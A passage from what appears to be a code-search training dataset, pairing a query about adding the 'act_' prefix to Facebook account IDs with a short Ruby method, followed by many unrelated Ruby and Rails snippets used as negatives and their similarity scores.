"0.4474157",
"0.446999",
"0.44607538",
"0.44602424",
"0.445207",
"0.44390377",
"0.44249964",
"0.4416267",
"0.4416267",
"0.44148406",
"0.4409428",
"0.440611",
"0.43970302",
"0.43942514",
"0.43782476",
"0.43662295",
"0.43657896",
"0.4365236",
"0.4361572",
"0.43590182",
"0.43488705",
"0.43488607",
"0.4345439",
"0.4342665",
"0.4332556",
"0.4327034",
"0.4326771",
"0.43261042",
"0.43227717",
"0.43172374",
"0.43133953",
"0.431118",
"0.43071195",
"0.43038118",
"0.42994535",
"0.4296822",
"0.42912498",
"0.42885843",
"0.4286823",
"0.4282019",
"0.42812398",
"0.42797464",
"0.42795578",
"0.4275248",
"0.42751023"
] | 0.74729615 | 0 |
Facebook returns 'account_ids' without the 'act_' prefix, so we have to treat account_ids special and make sure they begin with act_ | def normalize_account_id(id)
return id if id.to_s.start_with?('act_')
"act_#{id}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def facebook_account_ids\n @facebook_account_ids ||=\n current_user\n .accounts\n .where(type: :facebook)\n .map { |a| a.data[:id] }\n end",
"def account_ids()\n return [1, 2]\n end",
"def account_ids\n user.app_metadata.fetch('account_ids', [])\n end",
"def acc_ids\n\t self.accounts.pluck(:id)\n\tend",
"def list\n token = SocialService::Facebook.renew_token(token_params)\n\n accounts =\n SocialService::Facebook\n .accounts(token)\n .reject { |a| a[:id].in?(facebook_account_ids) }\n\n render json: { accounts: accounts }\n end",
"def get_fb_asid_with_chatbot_sender_id(action)\n \n sender_id = self.sender_id\n \n uri = URI(\"https://graph.facebook.com/#{sender_id}/ids_for_apps\")\n \n param = URI.encode_www_form({\n 'app' => ENV['APP_ID'],\n \"access_token\" => ENV['ACCESS_TOKEN']\n })\n\n if param.length > 0\n if uri.query && uri.query.length > 0\n uri.query += '&' + param\n else\n uri.query = param\n end\n end\n\n request = Net::HTTP::Get.new(uri.request_uri)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n http.request(request)\n end\n\n result = nil\n\n begin \n result = JSON.parse(response.body,:symbolize_names => true)\n rescue SyntaxError => se\n puts 'RESCUED!'\n end\n\n puts \"result: #{result}\"\n\n\n if result.present? && result[:data].present? && result[:data].kind_of?(Array)\n fb_uid = result[:data].map{ |app_id_hash| app_id_hash.dig(:id) if app_id_hash.dig(:app,:id) == ENV['APP_ID'] }\n \n if fb_uid.kind_of?(Array) && fb_uid.size == 1\n action == 'update' ? self.update( fb_uid: fb_uid[0] ) : self.fb_uid = fb_uid[0]\n end\n end\n \n end",
"def current_account_membership_ids\n current_account.membership_ids + current_account.created_friendship_ids\n end",
"def likely_facebook_account\n facebook_accounts.first.andand.first\n end",
"def get_valid_accounts(action, account_id)\n is_editing = (action == 'edit' || action == 'update')\n valid_accounts = is_editing ? [] : [['--select--', nil]]\n\n valid_accounts + accounts.map do |account|\n if (is_editing && account.id == account_id.to_i) || account.bots.count < account.bots_allowed\n [account.username.to_s.empty? ? account.phone : account.username, account.id]\n end\n end.compact\n end",
"def active_facebook_accounts\n facebook_accounts.where(is_active: true)\n end",
"def add_accounts_from_activities\n # need to get the Token!\n #\n tok = Helpers::Fixtures.load_fixture('authorization_server_api') # creds file\n @creds = tok['api']\n @token = APIHelper.get_auth_token(@creds)\n\n header_params = APIHelper.header_params(@token)\n policy_api = PolicyAPI::GeneralInfoApi.new\n\n activities_needing_removed.each do |act|\n STDOUT.puts \"Looking up account for activity ID #{act}\"\n begin\n raw = policy_api.get(act, header_params)\n id = raw.to_hash[:basicPolicyInfo][:accountId]\n STDOUT.puts \"Marking this policy: #{act} and this account: #{id} for deletion!\"\n #id = policy_api.policies_get_policy_activity_by_activity_id(act)[:AccountId]\n accounts_needing_removed << id unless id.to_s.empty?\n id unless id.to_s.empty?\n msg = \"#{id}\\n\"\n File.write(file_to_save, msg, mode: 'a')\n rescue Exception => ex\n STDOUT.puts \"Failed to fetch accounts from activity #{act} #{ex.message}\"\n end\n end\n end",
"def actors_ids\n actors_ids = []\n actors_name.each_with_index do |actor, index|\n actors_ids << document[\"castMember\"][directors_name.size + index][\"person\"][\"code\"] if actor == document[\"castMember\"][directors_name.size + index][\"person\"][\"name\"]\n end\n actors_ids\n end",
"def sharer_ids\n if ActsAsActivityStream.sns_type == :follow\n followings.map(&:id) + [self.id]\n else\n friends.map(&:id) + [self.id]\n end\n end",
"def current_account_contact_ids\n current_account.added_contact_ids + current_account.mutual_contact_ids\n end",
"def get_list_acc\n JSON.parse(curl_get(\"accounts\").body_str)\n end",
"def affiliate_account_types\n @affiliate_account_types ||= []\n end",
"def accounts( params={} )\n accounts = get_connections(\"accounts\", params)\n return map_connections accounts, :to => Facebook::Graph::Generic\n end",
"def find_facebook_friends_with_accounts\n load_facebook_api\n friends = @facebook_api.get_connections('me', 'friends')\n \n friend_ids = []\n friends.each { |friend| friend_ids << friend['id'] }\n\n auths = Authorization.where(:provider => 'facebook', :uid => friend_ids)\n\n output = []\n auths.each { |auth| output << auth.user }\n\n output\n end",
"def facebook_friends_ids\n @facebook_friends_ids ||= begin\n FriendRelation.facebook.by_source_user(self.external_user_id).pluck(:target_user_id) +\n FriendRelation.facebook.by_target_user(self.external_user_id).pluck(:source_user_id)\n end\n end",
"def account_authorized(account)\n session[:account_id] = account.public_send(BookingSyncEngine.bookingsync_id_key).to_s\n end",
"def fb_object_id\n self.fb_action_id\n end",
"def get_social_actions share_urns\n path = '/socialActions'\n get(path, ids: share_urns)\n end",
"def active_customers_ids\n @active_customers_ids ||= flatten_calls.collect { |c| c[:customer_acc_id] }.uniq\n end",
"def logged_in_to_facebook_and_app_authorized\n if ensure_application_is_installed_by_facebook_user \n # filter_parameter_logging :fb_sig_friends # commenting out for now because it fails sometimes\n end\n end",
"def account_src\n account_src_id\n end",
"def linked_account_names\n # user.user explained: first user is local user, second user ir padma_user\n @linked_account_names ||= @user.user.padma_accounts.map(&:name)\n end",
"def account_return\n direct_login = []\n users = []\n ulist = Main.active.account_text.tr(\"\\n \",\",\").split(\",\")\n ulist.each do |n| \n n.strip!\n case n\n when /^.*@[0-9]{2,3}$/ \n direct_login << n.split(\"@\")\n when /^.{1,8}$/\n users << n\n end\n end\n #p Account.find_accounts(users).private.other_accounts.flatten\n accounts = users.empty? ? [] : Account.find_accounts_or_initialize(users)\n accounts.collect! { |account| account.all_accounts } if accounts\n accounts.flatten! if accounts\n if !accounts.empty?\n fill_accounts(accounts)\n else\n Main.active.status = [\"#{users}\", \"existiert nicht\", \"important\", -1]\n end\n end",
"def facebook_id \n self.facebook_auth_cache.uid\n end",
"def accounts\n end",
"def fetch_accounts\n log 'fetch_accounts'\n\n custom_headers = {\n 'Content-Type' => 'application/json; charset=UTF-8',\n 'Contexto' => get_context\n }\n\n params = {\n \"peticionCuentasKYOSPaginadas\" => {\n \"favoritos\" => false,\n \"paginacion\" => \"0\"\n }\n }\n\n response = with_headers(custom_headers) do\n post(BASE_ENDPOINT + ACCOUNTS_ENDPOINT, fields: params.to_json)\n end\n\n json = JSON.parse(response)\n\n if json['respuestacuentas']['cuentas'].is_a? Array\n # TODO: test this with a user with multiple accounts\n json['respuestacuentas']['cuentas'].map { |data| build_account(data) }\n else\n [build_account(json['respuestacuentas']['cuentas'])]\n end\n end",
"def get_friends_ids(auth = auth_http())\n TwBot.friends_ids(auth)\n end",
"def fetch_friend_id_array\n\t\tfriend_ids = hit_twitter { @client.friend_ids.to_a }\n\t\treturn friend_ids\n\tend",
"def all_friends\n User.where ['external_user_id IN (?) OR id IN (?)', facebook_friends_ids, email_friends_ids]\n end",
"def alias_ids\n investments.map(&:entity_id)\n end",
"def friends_ids\n self.friends_ids_hash.keys rescue []\n end",
"def followed_ids\n followed.map(&:id)\n end",
"def associates_list()\n\t\tassocs = Contract.associates_for(current_user()).all.inject([]) \\\n\t\t\t{ |ret, assoc| ret << ([assoc.username, assoc.id] unless assoc.id == 2) }.compact\n\tend",
"def active_vendors_ids\n @active_vendors_ids ||= flatten_calls.collect { |c| c[:vendor_acc_id] }.uniq\n end",
"def accounts\n @transactions.collect(&:account).uniq\n end",
"def list_stored_user_ids_ar\n Credential.all.map {|credential| credential.user_id}\nend",
"def all_accounts\n puts params[:id]\n accounts = []\n user = User.find params[:id]\n user.accounts.each do |f|\n accounts << {id:f.id, title: f.title}\n end\n render json: accounts\n end",
"def history_ids(amount, before_id = nil, after_id = nil, around_id = nil)\n logs = API::Channel.messages(@bot.token, @id, amount, before_id, after_id, around_id)\n JSON.parse(logs).map { |message| message['id'].to_i }\n end",
"def get_actors_movies_ids(actor_moviedb_id) \n credits = Tmdb::People.credits(actor_moviedb_id)\n actors_movies = credits[\"cast\"]\n actors_movies_ids = []\n actors_movies.each do |movie|\n actors_movies_ids << movie[\"id\"]\n end\n actors_movies_ids\n end",
"def get_actors_movies_ids(actor_moviedb_id) \n credits = Tmdb::People.credits(actor_moviedb_id)\n actors_movies = credits[\"cast\"]\n actors_movies_ids = []\n actors_movies.each do |movie|\n actors_movies_ids << movie[\"id\"]\n end\n actors_movies_ids\n end",
"def facebook_account_params\n params.require(:facebook_account).permit(:user_id, :facebook_account_id, :access_token, :picture_url, :email, :first_name, :last_name)\n end",
"def get_following_ids_string\n following_ids = self.followed_users.pluck(:id) << self.id\n following_ids.reduce('(') { |final_string, id| final_string + id.to_s + ','}.chop + ')'\n end",
"def fetch_active_items_of(account_id)\n fetch_items_of(account_id.to_i).select {|s| s.is_active? }\n end",
"def fetch_all_active_items_but_of(account_id)\n fail \"No account with id #{account_id}\" unless DAOAccount.instance.account_exists?(account_id)\n @items.values.select{|item| item.owner.id != account_id && item.active}\n end",
"def activities\n Activity.where(\"action_item_uuid in (?)\", action_items.collect(&:uuid))\n end",
"def cap_ids\n CAP_CLIENT.profile_ids\nend",
"def get_followers_ids(auth = auth_http())\n TwBot.followers_ids(auth)\n end",
"def workflow_ids\n AccessControlEntry.where(:aceable_type => 'Workflow', :permission => 'approve', :group_uuid => assigned_group_refs).pluck(:aceable_id)\n end",
"def app_id\n fb_app.id\n end",
"def account_from; Account.get(self.account_from_id); end",
"def account_from; Account.get(self.account_from_id); end",
"def ids_to_accept\n git_log_delivered_story_ids & pivotal_tracker_delivered_story_ids\n end",
"def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end",
"def handle_pal_ids\n handle_admin_role_ids Seek::Roles::PAL\n end",
"def handle_pal_ids\n handle_admin_role_ids Seek::Roles::PAL\n end",
"def follower_ids\n self.follower_ids_hash.keys rescue []\n end",
"def share_point_ids\n return @share_point_ids\n end",
"def id\n @account\n end",
"def accounts\n (ENV['RESIDENTS'] || \"tompng gliese035 hanachin_ kimihito_\").split(\" \")\n end",
"def followed_users_and_me\n followed_users + [id]\n end",
"def friend_ids\n @_friend_ids ||= (@_raw_friend_hashes ? @_raw_friend_hashes.keys : raw_friend_ids).map(&:to_i)\n end",
"def get_followees_ids(page)\n page ||= 0\n # To get friend ids, we need to supply a cursor which starts at -1 and has bucket size of 5000 (https://dev.twitter.com/docs/api/1/get/friends/ids)\n cursor = (((page*configatron.page_size)+configatron.page_size) / 5000).floor - 1\n \n followees_ids_resp = twitter_user.request(:get, configatron.api_call_url + \"friends/ids.json\", { 'cursor' => cursor.to_s })\n \n ids = JSON.parse(followees_ids_resp.body) if followees_ids_resp.is_a?(Net::HTTPSuccess)\n return ids['ids'] if ids\n end",
"def serialize_one_account(account)\n [{ public_uid: account.public_uid,\n customer: account.customer,\n workmen: account.workmen,\n admin: account.admin,\n user_id: account.user_id\n }]\n end",
"def game_user_ids\n turn_ids = GameUser.where({game_id: session[:game_id]}).pluck(:user_id).join(\",\")\n respond_to do |format|\n turn_message = {:status => \"ok\", :turn => turn_ids}\n format.json {render :json => turn_message}\n end\n end",
"def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"actions\"\n Action.where(:request_id => owner_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end",
"def set_facebook_account\n @facebook_account = FacebookAccount.find(params[:id])\n end",
"def facebook_friends\n User.where(:guid => self.facebook_friend_guids)\n end",
"def attach_account_codes(resource)\n if resource.respond_to?(:tags) and resource.tags\n resource.tags.each do |key, value|\n resource.code(key, value)\n end\n end\n end",
"def validate_account_ids\n source_account_id = transaction_params[:source_account_id]\n @source_account = CheckingAccount.find_by_id(source_account_id)\n if source_account_id.present? && !@source_account\n byebug\n return { result: false, invalid_id: source_account_id }\n end\n\n destination_account_id = transaction_params[:destination_account_id]\n @destination_account = CheckingAccount.find_by_id(destination_account_id)\n if destination_account_id.present? && !@destination_account\n return { result: false, invalid_id: destination_account_id }\n end\n\n { result: true }\n end",
"def invite_facebook_friends\n end",
"def accounts\n from = KEY_PREFIX[:account] + '00000000'\n to = KEY_PREFIX[:account] + 'ffffffff'\n level_db.each(from: from, to: to).map { |k, v| v}\n end",
"def social_accounts_for_a_project\n uri = \"#{@api_url}/#{@project_id}/accounts?access_token=#{@access_token}\"\n get uri\n end",
"def getAccounts\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n http = broker_url + \"/resources/accounts\"\n res = httpGETRequest(http)\n return res\n end",
"def index\n if current_user.profile.blank?\n redirect_to update_profile_url ,:alert => \"Please fill in required fields.\" \n end\n #all values loaded from load_user filter\n @user = current_user\n @associated_providers = current_user.authentications.map{|authentication| authentication.provider}\n @not_yet_associated_providers = SUPPORTED_PROVIDER - @associated_providers\n \n # this is for feed\n @following_ids = @user.all_following.map{|user| user.id}\n \n @following_ids << current_user.id\n \n\n @feeds = ActivityFeed.where(\"user_id in (?)\",@following_ids).order(\"created_at DESC\").paginate(:per_page => 20,:page => params[:page])\n\n \n end",
"def friend_ids(query={})\n perform_get(\"/friends/ids.json\", :query => query)\nend",
"def audience_object_ids(audience)\n # In case of CIRCLES audience, add each contacts of every circles\n # of the actor of the activity.\n privacy = audience.privacy\n\n case privacy\n when privacy.public?\n @object_ids << privacy\n when privacy.circles?\n @activity.actor.circles.each do |circle|\n circle.activity_contacts.each do |contact|\n @object_ids << contact\n end\n end\n else\n activity_object = audience.activity_object\n\n # The target audience is either a group or a person,\n # which means we can add it as it is in the audience list.\n return @object_ids << activity_object unless activity_object.circle?\n\n # In the case of LIMITED audience, then go through all the audience\n # circles and add contacts from those circles in the list of allowed\n # audience.\n activity_object.activitable.activity_contacts.each do |contact|\n @object_ids << contact\n end\n end\n end",
"def facebook_uid\n @json['uid']\n end",
"def all_friend_ids(username = false)\n ids = []\n cursor = \"-1\"\n while cursor != 0 do \n json = get(\"/friends/ids.json?cursor=#{cursor}#{username ? \"&screen_name=#{username}\" : ''}\")\n cursor = json[\"next_cursor\"]\n ids += json[\"ids\"]\n end\n ids\n end",
"def fetch_inactive_items_of(account_id)\n fetch_items_of(account_id.to_i).select {|s| !s.is_active? }\n end",
"def full_request_id\n \"#{request.fb_request_id}_#{fb_user_id}\"\n end",
"def fetch_follower_id_array\n\t\tfollower_ids = hit_twitter { @client.follower_ids.to_a }\n\t\treturn follower_ids\n\tend",
"def account_list(user)\n (user.account_lists & account_lists).first\n end",
"def transactions account_id\n data = perform_get(\"#{ACCOUNTS_PATH}/#{account_id}/transactions\")\n data[:accountTransactions] || []\n end",
"def get_fb_params\n\t\"user_photos,email\"\nend",
"def active_glm_id_list\n self.active_group_loan_memberships.map{|x| x.id }\n end",
"def test_get_unique_codes_for_ids\n reason_code_ids = [100,101,102]\n reason_code_records = []\n reason_code_records << reason_codes(:reason_code100)\n reason_code_records << reason_codes(:reason_code101)\n reason_code_records << reason_codes(:reason_code102)\n assert_equal(\"5D;I8;C6\", ReasonCode.get_unique_codes_for(reason_code_records, reason_code_ids))\n end",
"def workflow_ids\n approval_access = RBAC::Access.new('workflows', 'approve').process\n approval_access.send(:generate_ids)\n\n Rails.logger.info(\"Accessible workflows: #{approval_access.id_list}\")\n\n approval_access.id_list\n end",
"def follower_ids\n followers.map(&:id)\n end",
"def update_account_ids!(acct_ids)\n self.account_ids = []\n save!\n\n reload\n\n acct_ids.map do |aid|\n begin\n Account.find(aid)\n rescue Mongoid::Errors::DocumentNotFound => e\n nil\n end\n end.compact.each do |acct|\n self.accounts << acct unless self.accounts.include?(acct)\n end\n\n self.reload if save!\n end",
"def get_match_ids(account_id)\n # Given a summoner's accountId, make an API request for their match history.\n url = \"https://#{REGION}.api.riotgames.com/lol/match/v4/matchlists/by-account/#{account_id}?api_key=#{API_KEY}\"\n response_string = RestClient.get(url)\n #sleep(1)\n match_history = JSON.parse(response_string)\n match_ids = match_history[\"matches\"].map {|match| match['gameId']}.uniq\nend",
"def index\n game_id = params[:game_id]\n @kakao_accounts = KakaoAccount.where(game_id: game_id, is_true: true).order(\"id desc\").limit(200)\n @account_ids = []\n @account_ids = UserCopyAccount.where(user_id: session[:user_id]).pluck(:account_id) if session[:user_id]\n @game_uniq_key = \"#{SecureRandom.urlsafe_base64(nil, false)}-#{SecureRandom.urlsafe_base64(nil, false)}-#{SecureRandom.urlsafe_base64(nil, false)}\"\n end",
"def global_account_types\n account_types - facility_account_types\n end",
"def get_account_type_from_session\r\n return User.where(id: session[:user_id]).pluck(:account_type_id).join.to_i if session[:user_id]\r\nend",
"def app_token\n uri = URI.parse Facebook.config[:canvas_url] \n canvas_url = uri.host\n # where(\"page_access_token is not null\")\n @tokens ||= AppToken.where(\"platform='Facebook'\").where(\"client_id is not null\").to_a\n @access_token = @tokens.sample # [self.id % @tokens.size]\n end",
"def ego_net_retweets\n retweets = []\n self.retweet_ids.each do |retweet| \n begin\n if Person.find_by_username(retweet[:person]).friends_ids.include?(self.person.twitter_id) \n retweets << retweet\n end\n rescue\n end \n end\n return retweets\n end",
"def render_accounts\n\t accounts = []\n\t self.accounts.each do |acc|\n\t \taccounts.push acc.render_detail\n\t end\n\t \n\t accounts\n\tend"
] | [
"0.7085103",
"0.67231196",
"0.6414345",
"0.6071187",
"0.6061755",
"0.59726983",
"0.56954247",
"0.56156",
"0.5528877",
"0.55052185",
"0.550076",
"0.54788977",
"0.5445059",
"0.53569794",
"0.53485715",
"0.5348114",
"0.5347844",
"0.5340301",
"0.5204472",
"0.5203263",
"0.51797694",
"0.5177956",
"0.51231116",
"0.5106107",
"0.50715435",
"0.5052542",
"0.5049678",
"0.5022611",
"0.50052845",
"0.49668282",
"0.49629614",
"0.49621472",
"0.49500787",
"0.49494314",
"0.49326074",
"0.4919155",
"0.49129593",
"0.4910516",
"0.49092573",
"0.48919183",
"0.4883968",
"0.48802227",
"0.48731983",
"0.48731983",
"0.48721114",
"0.4867656",
"0.48650587",
"0.4841922",
"0.48285156",
"0.48200214",
"0.4819176",
"0.48175612",
"0.4816764",
"0.48139644",
"0.48139644",
"0.48084474",
"0.48047864",
"0.47970876",
"0.47970876",
"0.47939304",
"0.47885084",
"0.47847745",
"0.47800598",
"0.47753546",
"0.4773356",
"0.47731832",
"0.4772876",
"0.47722036",
"0.4759401",
"0.4757352",
"0.47555792",
"0.47539735",
"0.4751783",
"0.47468138",
"0.47396934",
"0.4733517",
"0.47315323",
"0.47282463",
"0.47174525",
"0.4714896",
"0.4710334",
"0.46969226",
"0.46893853",
"0.4686068",
"0.46853462",
"0.4682968",
"0.4674988",
"0.46741214",
"0.4673397",
"0.4673298",
"0.4670142",
"0.466553",
"0.46647477",
"0.46640295",
"0.46637785",
"0.465868",
"0.46548754",
"0.46515852",
"0.46512777",
"0.46507776"
] | 0.61813277 | 3 |
This should be called if you cannot find a paper through other means. | def fallback_to_first_possible_paper_reference
model = @model_hash.values.detect { |model| model.try(:paper) }
model.try(:paper)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def no_in_paper(paper = nil)\n if paper\n self.exam_papers_sections_exercises.where(exam_paper_id: paper.id).first.no_in_paper\n else\n # TODO\n self.exam_papers_sections_exercises.first.no_in_paper\n end\n end",
"def best_hand\n raise\n end",
"def associate_paper\n @paper = params[:pname]\n @data = Paper.new.pull_info(@paper, Integer(params[:index]))\n @paper = create_paper(@data[:title], @data[:titlelink], @data[:citations], @data[:author])\n redirect_to :action => :edit, :id => @paper.id\n end",
"def oops exception\n error \"Unexpected error while checking for issue's parent newspaper object #{exception}\"\n error exception.backtrace\n return nil\n end",
"def lookup\n search = params[:search].strip\n @title = search\n if signed_in?\n @groups = current_user.groups\n @folders = current_user.folders\n end\n if search.to_i.to_s == search\n @paper = Paper.find_or_create_by_pubmed_id(search)\n if @paper.title.nil?\n @paper.lookup_info\n end\n # If the search term is not a pubmed ID, look it up.\n elsif search.to_i.to_s != search\n @pubmed_results = Paper.new.search_pubmed(search, 150)\n unless @pubmed_results[0..4] == \"Error\"\n @jlab_results = Paper.new.search_activity(search)\n @search_results = (@jlab_results + @pubmed_results).uniq\n @history_results = []\n if signed_in?\n @history_results = (@search_results & current_user.visited_papers.map{|p| p.to_hash}).first(10)\n @search_results = @search_results - @history_results\n @search_results.select{|p| p[:latest_activity].nil?}.each {|p| p[:latest_activity] ||= Time.now - 1.month}\n end\n @search_results = Kaminari.paginate_array(@search_results.sort!{|x,y| y[:latest_activity] <=> x[:latest_activity]}).page(params[:page]).per(20)\n end\n end\n if @pubmed_results.to_a[0..4] == \"Error\"\n flash[:error] = @pubmed_results\n redirect_to :back\n elsif @paper\n redirect_to @paper\n else\n respond_to do |format|\n format.html\n format.xml\n end\n end\n end",
"def display_resource(paper)\n paper.title\n end",
"def not_found_image\n scryfall.card_code_number('5dn', 52)['image_uris']['large']\n end",
"def pmid\n pmid = params[:pmid].to_i\n @paper = Paper.find_or_create_by_pubmed_id(pmid)\n if @paper.title.nil?\n @paper.lookup_info\n end\n @paper.save\n\n if @error\n flash[:error] = @error\n redirect_to :back\n else\n respond_to do |format|\n format.html { redirect_to @paper}\n format.xml { render :xml => @paper.xml_hash}\n end\n\n end\n end",
"def paper_from_microsoft(input)\n Gateway::Api.new(RefEm::App.config)\n .paper_content(input[:id])\n rescue StandardError\n raise 'Could not find papers by the ID'\n end",
"def find\n raise \"Method not implemented\"\n end",
"def choose_science_direct(m,p)\n page = p.search('body').inner_html.scan(/value=\\\"(http:\\/\\/www.sciencedirect.com\\/science.*?)\"/).first\n page = m.get(page)\n page = m.get(page.search('body').inner_html.scan(/http:\\/\\/.*sdarticle.pdf/).first) \n end",
"def first_reference_paper\n reference_papers[0]\n end",
"def books_with_missing_mapping\n Bible::Book.all.select do |book|\n mapping = book_mapping(book)\n Rails.logger.info(\"Mapping Check: #{book.title}\")\n begin\n out scrape_verse(mapping, 1, 2), true\n rescue OpenURI::HTTPError\n out false, true\n end\n end\n end",
"def set_election\n rescue ActiveRecord::RecordNotFound\n redirect_to :controller => \"main\", :action => \"index\"\n return\n end",
"def raise_unfound\n raise(Au3Error, \"Unable to find a window with title '#{@title}' and text '#{@text}'!\", caller)\n end",
"def get_paper_list(keywords)\n output = []\n page = 0\n\n keywords.each do |keyword|\n puts \"keyword: \"+keyword\n\n LIMIT.times do |page|\n puts \"page: \"+page.to_s\n\n #parses array of papers\n data = Hpricot(self.download_url(self.set_url(keyword, page)))\n papers = data.search(\"ul.blockhighlight\")\n \n # parse necessary data\n papers.each do |item|\n \n \n title = item.search(\"em.title\").first.inner_html\n link = item.search(\"a.doc_details\").first.attributes['href']\n # odstraneni prazdnych radku, smrsknuti vicenasobnych mezer a rozdeleni podle html entity pomlcky\n author_and_year = item.search(\"li.author\").first.inner_html.delete(\"\\n\").squeeze(\" \").split(\"—\")\n additional_info = self.get_additional_info(link)\n \n puts \"Dokument:\\t\"+title\n\n # vytvoreni tridy pro dokument\n doc = Document.new(@title)\n # gsub stripne html tagy\n doc.title = title.strip.gsub(/<\\/?[^>]*>/, \"\")\n doc.year = author_and_year[1].strip \n doc.abstract = additional_info['abstract']\n # rozdeleni jmen autoru - citeseerx ma rozdeleno mezerou a carkou\n doc.authors = self.parse_authors(author_and_year[0].strip.sub(/^by /, \"\"))\n \n # kontrola, zda dokument ukladat nebo ne\n if doc.unique? then\n puts \"unikatni\"\n downloaded = self.download_paper(additional_info['links'])\n doc.filename = downloaded\n doc.filetype = 'application/pdf' \n if(doc.save() === false)\n puts \"Chyba pri ukladani dokumentu!\"\n end\n else\n puts \"NEunikatni\"\n end\n \n puts \"\\n\\n\"\n end #papers.each\n end #LIMIT.times\n end #keywords.each\n\n return output\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def find\n fail NotImplementedError\n end",
"def correct_producer\n redirect_to root_url unless @show_actor.valid_producer? current_person.user\n end",
"def m1ss\n raise ActiveRecord::RecordNotFound, \"OH NOES!!1!\"\n end",
"def nonstriker_perimartium(pronunciation_crotched)\n end",
"def requestee_of(kase)\n if kase = accessible_kases.find(:first, :conditions => [\"accesses.accessible_id = ?\", kase.id])\n kase.person\n end\n end",
"def correction_existent_check\n # Check first if there is a correction\n page_content = PageContent.where(:page_id => self.id).where(:content_type => 'correction').order(id: :asc).last\n\n # If there isn't a correction,\n # Go to the ocr or text extraction\n if !page_content \n page_content = PageContent.where(:page_id => self.id).first\n end\n\n return page_content\n end",
"def default_card\n name = if paper.uses_research_article_reviewer_report\n \"ReviewerReport\"\n else\n # note: this AR model does not yet exist, but\n # is being done as preparatory / consistency for\n # card config work\n \"TahiStandardTasks::FrontMatterReviewerReport\"\n end\n Card.find_by(name: name)\n end",
"def show\n @paper = @authority.papers.find(params[:id])\n @team = Team.all\n end",
"def find_by_pid(pid)\n find(pid)\n rescue Hyacinth::Exceptions::DigitalObjectNotFoundError\n return nil\n end",
"def last_chance_find_media research_name\n\t@passerelle.biens.each{ |b|\n\t\tb.bien_photos.each{ |p|\n\t\t\tnext unless p.attributs\n\t\t\tp.attributs.split('|').each{ |n|\n\t\t\t\treturn p if research_name.to_s.downcase == n.to_s.downcase\n\t\t\t}\n\t\t\t@medias[p.attributs] = p\n\t\t}\n\t}\n\treturn nil\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def set_paper\n @paper = Paper.find(params[:id])\n end",
"def not_found; end",
"def best_move\n find_at_risk_square(mark) ||\n find_at_risk_square(@human.mark) ||\n center_square ||\n corner_play ||\n board.unmarked_keys.sample\n end",
"def find; end",
"def test_find_book__missing\n\n single_book = @library1.find_book(\"tek_wars\")\n\n assert_nil(single_book)\n\n end",
"def paper_linking\n self.print_product\n end",
"def find_student(student_name)\n\tputs \"Welcome back! Feel free to drink some Butterbeer!\"\nend",
"def find_book\n choice = self.prompt.select(\"Please provide me with the title, author, or ISBN of the book you are searching for: \", [\"Title\", \"Author\", \"ISBN\", \"Back to main menu\"])\n if choice != \"Back to main menu\"\n find_book_open_posts(choice)\n end\n self.main_menu\n end",
"def load_ipaper_document(id)\n # Yes, catch-all rescues are bad, but the end rescue\n # should return nil, so laziness FTW.\n scribd_user.find_document(id) rescue nil\n end",
"def index\n @papers = Paper.all\n end",
"def index\n @papers = Paper.all\n end",
"def index\n @papers = Paper.all\n end",
"def index\n @papers = Paper.all\n end",
"def user_owns_reflection?\n unless @reflection.student.uid == current_user.uid\n flash[:notice] = 'You may only edit your own reflections.'\n redirect_to reflections_url\n end\n end",
"def computer_places_piece!(brd)\n square = nil\n # Defence\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, COMPUTER_MARKER)\n break if square\n end\n # Offence\n if !square\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square\n end\n end\n # Pick square 5 if its available\n if !square\n square = 5 if empty_squares(brd).include?(5)\n end\n # just pick a square\n if !square\n square = empty_squares(brd).sample\n end\n brd[square] = COMPUTER_MARKER\n sleep_to_make_game_nicer(1)\nend",
"def lookup_new_swimmer\n \n end",
"def existent; end",
"def paper\n reviewer_recommendations_task.paper\n end",
"def is_sole_author_of?(item)\n other_pseuds = item.pseuds.find(:all) - self.pseuds\n self.is_author_of?(item) && other_pseuds.blank?\n end",
"def find_publication\n if action_name == 'rebuild'\n @publication= @user.publications.find(params[:id].to_i)\n elsif action_name == 'show'\n zip= params[:id].split('---').first\n @publication= Publication.find_by_zip(zip)\n else\n @publication= Publication.find_by_zip(params[:id])\n end\n\n access_denied and return unless @publication\n @audited_object= @publication # audition system\n @object_for_role_system= @publication # role system\n end",
"def find\n assert_not_nil @rdigg.stories.find(\"7987660\")\n end",
"def guess(text, meta)\n nil\n end",
"def find_by_author(author)\n raise \"Must be overridden\"\n end",
"def what_are_you_looking_for?\n raise Exceptions::NotFound.new(404, 'Not Found; You did not find what you were expecting because it is not here. What are you looking for?')\n end",
"def correct_producer\n redirect_to(root_url) unless current_user?(@producer)\n end",
"def paper_params\n params.require(:paper).permit(:title, :author1first, :author1mid, :author1last, :author1workplace, :author2first, :author2mid, :author2last, :author2workplace, :author3first, :author3mid, :author3last, :author3workplace, :author4first, :author4mid, :author4last, :author4workplace, :author5first, :author5mid, :author5last, :author5workplace, :abstract, :creationdate, :sectionurlid, :papernumber, :filefunction, :jel, :keywords, :suppress, :wpid, :series_id, :url)\n end",
